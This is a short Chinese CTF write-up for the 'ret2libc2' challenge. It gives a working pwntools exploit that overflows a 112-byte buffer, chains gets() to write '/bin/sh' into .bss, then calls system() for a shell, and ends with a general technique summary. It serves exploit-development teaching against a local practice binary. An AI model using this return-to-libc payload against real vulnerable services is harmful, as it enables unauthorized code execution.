分析
本题分析同Bamboofox ret2libc1一样,不过这里没有给出"/bin/sh"地址,所以这里需要我们自己往system()里面写入"/bin/sh"
解题
这题偏移量和ret2libc1一样,还是112
system地址和gets地址都可在IDA中找到
最终exploit.py如下
from pwn import *
context(arch = 'i386')
p = process('./ret2libc2')
gets_addr = 0x8048460
pop_ebx_ret = 0x0804843d
system_addr = 0x8048490
buf2_addr = 0x804A080
payload = flat(['a' * 112,gets_addr,pop_ebx_ret,buf2_addr,system_addr,'a' * 4,buf2_addr])
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()
exp思路:先填充垃圾数据,把返回地址填为gets的地址,再次输入,把参数改为buf2(.bss)的地址,接着把返回地址改为system的地址,参数为"/bin/sh"
小结
对于这类需要自己填参数的题,可以先找找有没有rwxp权限的内存空间,有的话先填充垃圾数据把返回地址改为输入函数的地址,然后参数改为shell所在空间